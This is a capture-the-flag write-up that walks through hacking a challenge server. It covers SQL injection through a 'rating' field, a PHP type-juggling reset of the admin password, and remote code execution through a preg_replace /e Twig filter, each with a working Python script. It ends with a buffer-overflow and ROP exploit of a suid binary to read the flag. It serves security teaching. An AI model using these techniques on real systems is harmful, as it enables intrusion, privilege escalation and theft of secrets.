One of our informants
met a guy who calls himself Elite Arthur, he is a real jackass, and he thinks
he is the best hacker alive. We got reason to believe that the robots hired him
to write the firmwares for their weapons. But to write such a firmware we need
the key to sign the code. Luckily for us, our informant also found his website:
…. your job is to hack the server, find the flag and show this little
cocksucker how skilled he really is. We count on you.
Here is your
challenge: https://ctf.fluxfingers.net:1317.
Alternatively, you can reach the challenge without a reverse proxy but also
without SSL here: http://ctf.fluxfingers.net:1339
This challenge consists of two long parts. First some web stuff, then an
exploitation challenge.
The web page
First, we had to find a way to get onto the server. Our best call was to find a
PHP code execution.
We figured out the “Bug bounty” page would be worth trying to get some
sourcecode out of. The download function seemed very suspicious. By modifying
the INSERT statement through the ‘rating’ parameter we could download any file
we wanted:
1
2
| https://ctf.fluxfingers.net:1317/?site=bug&action=add
"rating=1,0x61,0x696e6465782e706870,1) -- &title=asdf"
|
This adds a download to ‘index.php’ (encoded as hex). By looking through the
sourcecode we found the code where we could get our code to be executed:
extension/filter.php1
2
3
| $makestatus = new Twig_SimpleFilter('makestatus', function($string) {
return preg_replace('/(red|green): (.*)/e', '\'<div style="color:$1;">\'.strtolower("$2").\'</div>\'', $string);
}, array('is_safe' => array('html')));
|
And the code where to insert it:
controller/PanelController.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| public function prevAction($db, $user) {
global $twig;
global $makestatus;
if (!$user->isAdmin())
throw new Exception("You don't have the permission to view this site", 1);
if (!isset($_POST['title']))
throw new Exception("Please enter a title");
if (!isset($_POST['text']))
throw new Exception("Please enter a text");
$data = $db->select('password', 'user', "WHERE name='admin' LIMIT 1");
if (sha1($_POST['password']) !== $data[0]['password'])
throw new Exception("You need to provide your admin password before you can perform an action");
$prev = $twig->loadTemplate("panel.twig");
$out = $prev->render(array('title' => $_POST['title'], 'text' => $_POST['text'], 'author' => 'admin', 'created' => 'now', 'prev' => '1', 'admin' => $user->isAdmin()));
$tmp = new Twig_Environment(new Twig_Loader_String());
$tmp->addFilter($makestatus);
echo $tmp->render($out);
}
|
But we still need the admin password for that. By digging deeper in the code we
found a way to reset the password of the admin. This is done in four (easy)
steps:
- Request reset code for guest
- use the SQLi to read it
- reset password via GET with id=0x1 (vulnerable code shown below)
- insert our code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| #!/usr/bin/env python2
import requests
import sys
import re
"""
r = re.compile('site=bug&action=dl&id=([0-9]+)"', re.M)
def get_file(fname):
res = requests.post("https://ctf.fluxfingers.net:1317/?site=bug&action=add",
verify = False,
data = {
"rating": "1,
0x666f6f626172, 0x%s, 1) -- " % fname.encode("hex"),
"title": "foobar"
})
cookies = res.cookies
num = int(r.findall(res.content)[0])
res = requests.get("https://ctf.fluxfingers.net:1317/?site=bug&action=dl&id=%d" % num,
verify = False,
cookies = cookies
).content
return res
"""
url = "https://ctf.fluxfingers.net:1317/"
requests.get(url + "?site=lost&action=reset&username=guest", verify = False).content
code = requests.post(url + "?site=bug&action=add",
verify = False,
data = {
"rating": "1, (SELECT CONCAT(0x636f64655f69735f3e, reset, 0x3c5f636f64655f6973) FROM 6karuhf843_user WHERE id=1), 0x30, 0) -- ",
"title": "foobar"
}).content
code = re.findall("code_is_>(.+)<_code_is", code)[0]
pw = "a" * 5 + "A"*5 + "0"*5 + "startumAuhuur"
requests.get(url + "?action=update&site=lost&id=0x1&pass=%s&pass2=%s&code=%s" % (pw, pw, code), verify = False).content
cookies = {
"user_id": "e62552ab44206edaee9d25e57f6dc220",
"user_hash": "5b375be052529278bb67dac99d6cb795ee83b882",
"user_bugs": "YTowOnt9",
"user_mac": "2164a79df588978c62cf5a49b8cf33f0f5b995df",
}
php="system('%s');" % sys.argv[1]
print requests.post(
url + "?site=panel&action=prev",
data = {
"phpcode": php,
"title": "foo",
"text": "{\% filter makestatus %}red: {${eval($_POST[phpcode])}}{\% endfilter %}",
"password": pw
},
verify = False,
cookies = cookies).content
|
When this code is executed, it resets the admin password and executes the code
you supply on the command line. Why is this resetting the admin password? By
using 0x1
we are exploiting the way php handles comparisons between different
types:
controller/LostController.php - Line 951
2
3
4
5
6
| if ($data[0]['id'] == $id) {
$reset = array(
'password' => "'".mysql_real_escape_string(sha1($pass))."'",
'reset' => "''"
);
$db->update("user", $reset, "WHERE id=".intval($id));
|
While the weak comparison in line 1 interprets 0x1
as 1, it matches the id of
‘guest’, but the intval on line 6 returns 0 for 0x1
, matching the id of
‘admin’. This allows us to use the reset code for ‘guest’ to reset the admin’s
password.
Exploitation
After we got shell access to the server, we found a file which looks like the
flag /home/arthur/sign_key.flag
, but for which we didn’t have read access.
However, there was a suid executable together with its source code, which does
have these permissions, so let’s take a look at it.
The binary has two modes, clean and sign, and will read the flag file and a
password file in a constructor. The first thing the sign mode will do is to
check if the contents of the password file match a user-supplied argument.
Since we don’t know the password, this looks like a dead end.
The clean method on the other hand does not need the password. It iterates
over all files in the folder ./uploads
and checks them for occurences of the
string system(".*");
.
control.c1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| unsigned char cnt = 0;
char found[255][192];
int cookie;
//[...]
void inspect(char *filename) {
//[...]
while (fgets(tmp, 511, fp) != NULL) {
if ((pos = strstr(tmp, "system(\"")) != NULL) {
unsigned int length;
char *end = strstr(pos, "\");");
if (end == NULL)
continue;
length = end-(pos+8);
printf("len: %d\n", length);
if (length > 192)
length = 192;
strncpy(found[cnt], pos+8, length);
cnt++;
}
}
}
|
As you can see, the function reads at most 192 bytes at a time and writes them
into a global buffer array of size 255*192 using an unsigned char as index
variable. This is a double off-by-one error.
If we provide a file with 256 system("");
entries, the global cookie variable
will be overwritten. Also, if the argument to system is longer then 192 bytes,
there will won’t be a null byte at the end of that entry. We can use these
vulnerabilities in the log_result
function:
control.c - Line 2241
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| void log_result(unsigned char cnt)
{
int overflow = cookie;
char buffer[224];
bzero(buffer, 224);
for (i=0; i<cnt; i++) {
snprintf(buffer, strlen(found[i])+32, "systemcall (%d/%d): %s", i+1, cnt, found[i]);
puts(buffer);
}
if (overflow != cookie) {
printf("overflow shit, cookie does not match: %s...\n", overflow);
abort();
}
}
|
If we wrote more than 192 bytes into found[i]
, snprintf will append the
contents of found[i+1]
as well which will overflow the local buffer. Since
the overflow happens in a loop, we can even write data which includes null
bytes by writing to the buffer multiple times, making the string shorter
in each write.
For example, if we want to write AAAA\x01\x00\x01\x00
, we will write
AAAAAA\x01
first and afterwards, overwrite the beginning with AAAA\x01\x00
.
The overflow protection is already bypassed as well, since we control the
cookie variable as described before.
Finally, since the binary is not position-independent, we can simply call puts
from the PLT, using a pop rdi
gadget before that, to load the first parameter
and print the flag from memory.
The final exploit works as follows:
- write system(“AAAAAAA..”); 256 times to ./upload/pwn, which will overwrite the cookie variable
- overwrite the saved return address with a ROP chain: “pop rdi” gadget; &key; puts@plt; exit@plt
wannabe.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| #!/usr/bin/env python
import os
import struct
def pack(addr):
return struct.pack("<Q", addr)
puts = 0x4009d0
gadget = 0x401583
key = 0x601d80
exit = 0x400b20
os.system("rm -R ./upload")
os.mkdir("upload")
rip_off = 68
filename = "upload/pwn"
f = open(filename, "w")
def add_file(data):
global f
f.write('system("'+data+'");\n')
def write_data(offset, data):
null_off = data.rfind("\x00")
while null_off >= 0:
add_file("A"*192)
add_file("A"*(offset+null_off+1)+data[null_off+1:])
data = data[:null_off]
null_off = data.rfind("\x00")
add_file("A"*192)
add_file("A"*(offset+null_off+1)+data[null_off+1:])
for i in range(256):
add_file("A"*rip_off)
write_data(rip_off, pack(gadget)+pack(key)+pack(puts)+pack(exit))
|